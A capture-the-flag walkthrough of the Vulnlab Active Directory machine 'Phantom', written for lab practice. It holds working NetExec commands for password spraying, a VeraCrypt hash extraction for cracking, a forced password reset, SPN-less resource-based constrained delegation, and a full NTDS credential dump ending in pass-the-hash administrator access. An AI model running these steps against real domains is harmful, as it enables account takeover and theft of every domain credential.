Phantom is a medium Active Directory machine from Vulnlab, created by ar0x4. It involves SMB enumeration, decrypting a VeraCrypt file, gaining a shell through password reuse and escalating privileges by performing Resource-based Constrained Delegation on an SPN-less user.
Nmap scan report for 10.10.123.78 Host is up (0.074s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-12 13:34:14Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: PHANTOM | NetBIOS_Domain_Name: PHANTOM | NetBIOS_Computer_Name: DC | DNS_Domain_Name: phantom.vl | DNS_Computer_Name: DC.phantom.vl | Product_Version: 10.0.20348 |_ System_Time: 2024-07-12T13:34:19+00:00 | ssl-cert: Subject: commonName=DC.phantom.vl | Issuer: commonName=DC.phantom.vl | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-07-05T19:49:21 | Not valid after: 2025-01-04T19:49:21 | MD5: 20b2:6e9b:d25b:051a:c734:2ea8:1929:cebe |_SHA-1: 8a5d:0167:e13a:84de:8d99:d55e:71ca:4967:d5ed:59b8 |_ssl-date: 2024-07-12T13:34:59+00:00; -1s from scanner time. 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
From the Nmap scan, we can see that we are dealing with a Domain Controller, as indicated by the presence of DNS, Kerberos and LDAP. We also have some hostnames that we need to add to our /etc/hosts file
1
10.10.123.78 phantom.vl DC.phantom.vl
SMB Enumeration
Let’s start by enumerating SMB using NetExec
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ nxc smb phantom.vl -u 'guest' -p '' --shares SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) SMB 10.10.123.78 445 DC [+] phantom.vl\guest: SMB 10.10.123.78 445 DC [*] Enumerated shares SMB 10.10.123.78 445 DC Share Permissions Remark SMB 10.10.123.78 445 DC ----- ----------- ------ SMB 10.10.123.78 445 DC ADMIN$ Remote Admin SMB 10.10.123.78 445 DC C$ Default share SMB 10.10.123.78 445 DC Departments Share SMB 10.10.123.78 445 DC IPC$ READ Remote IPC SMB 10.10.123.78 445 DC NETLOGON Logon server share SMB 10.10.123.78 445 DC Public READ SMB 10.10.123.78 445 DC SYSVOL Logon server share
From the command output above, we see a Public share that we have read access to as guest. We can also enumerate users using the --rid-brute option in NetExec:
Another thing to try is spraying the usernames as passwords. Maybe some users are using their username as a password:
1 2 3 4 5 6 7 8 9 10
➜ nxc smb phantom.vl -u users.txt -p users.txt --continue-on-success --no-bruteforce SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) ... SMB 10.10.123.78 445 DC [+] phantom.vl\TechSupports:TechSupports (Guest) SMB 10.10.123.78 445 DC [+] phantom.vl\Server:Server (Guest) SMB 10.10.123.78 445 DC [+] phantom.vl\ICT:ICT (Guest) SMB 10.10.123.78 445 DC [+] phantom.vl\DevOps:DevOps (Guest) SMB 10.10.123.78 445 DC [+] phantom.vl\HRManagers:HRManagers (Guest) ... SMB 10.10.123.78 445 DC [+] phantom.vl\SSPR:SSPR (Guest)
In this case, they are all guest accounts, so that won’t get us anywhere. Let’s connect to the Public share we saw before using smbclient from impacket:
Type help for list of commands # use Public # ls drw-rw-rw- 0 Thu Jul 11 11:03:14 2024 . drw-rw-rw- 0 Sun Jul 7 04:39:30 2024 .. -rw-rw-rw- 14565 Sat Jul 6 12:09:28 2024 tech_support_email.eml # get tech_support_email.eml
As you can see, there is a an email message file. We can download it to our machine using the get command, then view it using an online .eml viewer for example. It has a PDF file attached, so let’s download it:
The PDF file contains an email with a password written in it:
Password Spray
The first thing that comes to mind is to spray the password with the users we got before:
1 2 3 4 5
➜ nxc smb phantom.vl -u users.txt -p '<REDACTED>' --continue-on-success SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) ... SMB 10.10.123.78 445 DC [+] phantom.vl\ibryant:<REDACTED> ...
As you can see, we got a hit with the user ibryant. Let’s see if there are any new shares this user can access:
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ nxc smb phantom.vl -u ibryant -p '<REDACTED>' --shares SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) SMB 10.10.123.78 445 DC [+] phantom.vl\ibryant:<REDACTED> SMB 10.10.123.78 445 DC [*] Enumerated shares SMB 10.10.123.78 445 DC Share Permissions Remark SMB 10.10.123.78 445 DC ----- ----------- ------ SMB 10.10.123.78 445 DC ADMIN$ Remote Admin SMB 10.10.123.78 445 DC C$ Default share SMB 10.10.123.78 445 DC Departments Share READ SMB 10.10.123.78 445 DC IPC$ READ Remote IPC SMB 10.10.123.78 445 DC NETLOGON READ Logon server share SMB 10.10.123.78 445 DC Public READ SMB 10.10.123.78 445 DC SYSVOL READ Logon server share
Indeed, the user ibryant has read access over the Departments Share share. Let’s use the spider_plus module from NetExec to see if there are any interesting files:
➜ nxc smb phantom.vl -u ibryant -p '<REDACTED>' -M spider_plus SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) SMB 10.10.123.78 445 DC [+] phantom.vl\ibryant:<REDACTED> SPIDER_PLUS 10.10.123.78 445 DC [*] Started module spidering_plus with the following options: SPIDER_PLUS 10.10.123.78 445 DC [*] DOWNLOAD_FLAG: False SPIDER_PLUS 10.10.123.78 445 DC [*] STATS_FLAG: True SPIDER_PLUS 10.10.123.78 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$'] SPIDER_PLUS 10.10.123.78 445 DC [*] EXCLUDE_EXTS: ['ico', 'lnk'] SPIDER_PLUS 10.10.123.78 445 DC [*] MAX_FILE_SIZE: 50 KB SPIDER_PLUS 10.10.123.78 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus SMB 10.10.123.78 445 DC [*] Enumerated shares SMB 10.10.123.78 445 DC Share Permissions Remark SMB 10.10.123.78 445 DC ----- ----------- ------ SMB 10.10.123.78 445 DC ADMIN$ Remote Admin SMB 10.10.123.78 445 DC C$ Default share SMB 10.10.123.78 445 DC Departments Share READ SMB 10.10.123.78 445 DC IPC$ READ Remote IPC SMB 10.10.123.78 445 DC NETLOGON READ Logon server share SMB 10.10.123.78 445 DC Public READ SMB 10.10.123.78 445 DC SYSVOL READ Logon server share SPIDER_PLUS 10.10.123.78 445 DC [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/10.10.123.78.json". SPIDER_PLUS 10.10.123.78 445 DC [*] SMB Shares: 7 (ADMIN$, C$, Departments Share, IPC$, NETLOGON, Public, SYSVOL) SPIDER_PLUS 10.10.123.78 445 DC [*] SMB Readable Shares: 5 (Departments Share, IPC$, NETLOGON, Public, SYSVOL) SPIDER_PLUS 10.10.123.78 445 DC [*] SMB Filtered Shares: 1 SPIDER_PLUS 10.10.123.78 445 DC [*] Total folders found: 23 SPIDER_PLUS 10.10.123.78 445 DC [*] Total files found: 19 SPIDER_PLUS 10.10.123.78 445 DC [*] File size average: 13.56 MB SPIDER_PLUS 10.10.123.78 445 DC [*] File size min: 22 B SPIDER_PLUS 10.10.123.78 445 DC [*] File size max: 82.48 MB
VeraCrypt Decryption
Looking at the JSON output of the spider_plus module, we find many PDFs, but there is a is an interesting file under the IT folder with the .hc extension, which is a VeraCrypt file:
Password: Type help for list of commands # use Departments Share # ls drw-rw-rw- 0 Sat Jul 6 12:25:31 2024 . drw-rw-rw- 0 Sun Jul 7 04:39:30 2024 .. drw-rw-rw- 0 Sat Jul 6 12:25:11 2024 Finance drw-rw-rw- 0 Sat Jul 6 12:21:31 2024 HR drw-rw-rw- 0 Thu Jul 11 10:59:02 2024 IT # cd IT # ls drw-rw-rw- 0 Thu Jul 11 10:59:02 2024 . drw-rw-rw- 0 Sat Jul 6 12:25:31 2024 .. drw-rw-rw- 0 Sat Jul 6 14:04:34 2024 Backup -rw-rw-rw- 43593728 Sat Jul 6 12:25:36 2024 mRemoteNG-Installer-1.76.20.24615.msi -rw-rw-rw- 32498992 Sat Jul 6 12:26:59 2024 TeamViewerQS_x64.exe -rw-rw-rw- 80383920 Sat Jul 6 12:27:15 2024 TeamViewer_Setup_x64.exe -rw-rw-rw- 9201076 Thu Jul 11 10:59:06 2024 veracrypt-1.26.7-Ubuntu-22.04-amd64.deb -rw-rw-rw- 86489296 Sat Jul 6 12:25:36 2024 Wireshark-4.2.5-x64.exe # cd Backup # ls drw-rw-rw- 0 Sat Jul 6 14:04:34 2024 . drw-rw-rw- 0 Thu Jul 11 10:59:02 2024 .. -rw-rw-rw- 12582912 Sat Jul 6 14:04:34 2024 IT_BACKUP_201123.hc # get IT_BACKUP_201123.hc #
To view the content of this file, we need to decrypt it, and for that, we need a password. Luckily, hashcat can decrypt it. Let’s extract the hash using this dd command:
1 2 3 4
➜ dd if=./IT_BACKUP_201123.hc of=./hash bs=512 count=1 1+0 records in 1+0 records out 512 bytes copied, 0.000130223 s, 3.9 MB/s
Now, we need a wordlist to use. Thankfully, there is a hint that tells us the format of the password:
Should you need to crack a hash, use a short custom wordlist based on company name & simple mutation rules commonly seen in real life passwords (e.g. year & a special character).
We can quickly make a wordlist based on that and run the hashcat command
We can do a recursive grep for the word “password” but we don’t get any hits. There is a .tar.gz file which is a VyOS backup, let’s extract it and do the recursive grep again:
Let’s use bloodhound to get a better view of the network and what permissions our user has:
1 2 3 4 5 6
➜ nxc ldap 10.10.123.78 -u 'svc_sspr' -p '<REDACTED>' --bloodhound --dns-server 10.10.123.78 -c All SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) LDAP 10.10.123.78 389 DC [+] phantom.vl\svc_sspr:<REDACTED> LDAP 10.10.123.78 389 DC Resolved collection methods: acl, psremote, group, dcom, localadmin, session, rdp, objectprops, trusts, container LDAP 10.10.123.78 389 DC Done in 00M 24S LDAP 10.10.123.78 389 DC Compressing output into /home/serioton/.nxc/logs/DC_10.10.123.78_2024-07-13_121218_bloodhound.zip
After loading the data in bloodhound and marking our user as owned, we can click on the “First Degree Object Control”
ForceChangePassword
As you can see, the user “svc_sspr” has ForceChangePassword over the users crose, wsilva and rinchols. This means that the user svc_sspr has the capability to change any of these three users’ passwords without knowing their current passwords.
To abuse this we can use the following command, I’ll change wsilva’s password but we can choose any other user, it doesn’t matter:
1
➜ net rpc password 'wsilva' 'P@ssw0rd' -U "DC.phantom.vl"/"svc_sspr"%"<REDACTED>" -S "DC.phantom.vl"
If we don’t get any errors, it means the password has been successfully changed. We can confirm this by trying to authenticate with the new password:
1 2 3
➜ nxc smb phantom.vl -u 'wsilva' -p 'P@ssw0rd' SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) SMB 10.10.123.78 445 DC [+] phantom.vl\wsilva:P@ssw0rd
As you can see, we can successfully authenticate. Now that we have access as the wsilva user, let’s see if he has any interesting permissions.
SPN-less RBCD
Looking at the “outbound object control”, specifically the group delegated object control, we can see an interesting permission:
Basically, wsilva is a member of the ICT SECURITY group, which can modify the msds-AllowedToActOnBehalfOfOtherIdentity attribute on the computer. Therefore, we can perform an RBCD (Resource-Based Constrained Delegation) attack. For this attack to work, the attacker needs to populate the target attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either:
a user account having a ServicePrincipalName set
an account with a trailing $ in the sAMAccountName (i.e. a computer accounts)
any other account and conduct SPN-less RBCD with U2U (User-to-User) authentication
The common way to conduct these attacks is to create a computer account. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts.
Let’s start by enumerating the MachineAccountQuota. We can use the maq module in NetExec:
1 2 3 4 5
➜ nxc ldap phantom.vl -u svc_sspr -p '<REDACTED>' -M maq SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) LDAP 10.10.123.78 389 DC [+] phantom.vl\svc_sspr:<REDACTED> MAQ 10.10.123.78 389 DC [*] Getting the MachineAccountQuota MAQ 10.10.123.78 389 DC MachineAccountQuota: 0
MachineAccountQuota is 0! How can we perform the RBCD account then? If we do some research, we find this article by Jame Forshaw, which explains how to exploit RBCD using a normal user account. What’s great about this technique is that it allows to abuse RBCD even if the MachineAccountQuota is set to 0. The Hacker Recipes provides an excellent explanation of the steps we need to perform RBCD on SPN-less users. First, we do the normal RBCD, and instead of a passing a machine account in the -delegate-from option, we will pass the user wsilva:
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] wsilva can now impersonate users on DC$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] wsilva (S-1-5-21-4029599044-1972224926-2225194048-1114)
Then, we need to obtain a TGT through overpass-the-hash to use RC4:
As you can see, we successfully got a ticket for the administrator user. At this stage, we can perform a DCSync:
1 2 3 4 5 6 7
➜ nxc smb DC.phantom.vl --use-kcache --ntds [!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] Y SMB 10.10.123.78 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:phantom.vl) (signing:True) (SMBv1:False) SMB 10.10.123.78 445 DC [+] phantom.vl\Administrator from ccache (Pwn3d!) SMB 10.10.123.78 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB 10.10.123.78 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>::: ...
We got the administrator hash:
1 2 3
➜ nxc winrm phantom.vl -u administrator -H <REDACTED> WINRM 10.10.123.78 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:phantom.vl) WINRM 10.10.123.78 5985 DC [+] phantom.vl\administrator:<REDACTED> (Pwn3d!)
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> ls
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/4/2024 7:22 AM 2308 Microsoft Edge.lnk -a---- 7/6/2024 11:57 AM 36 root.txt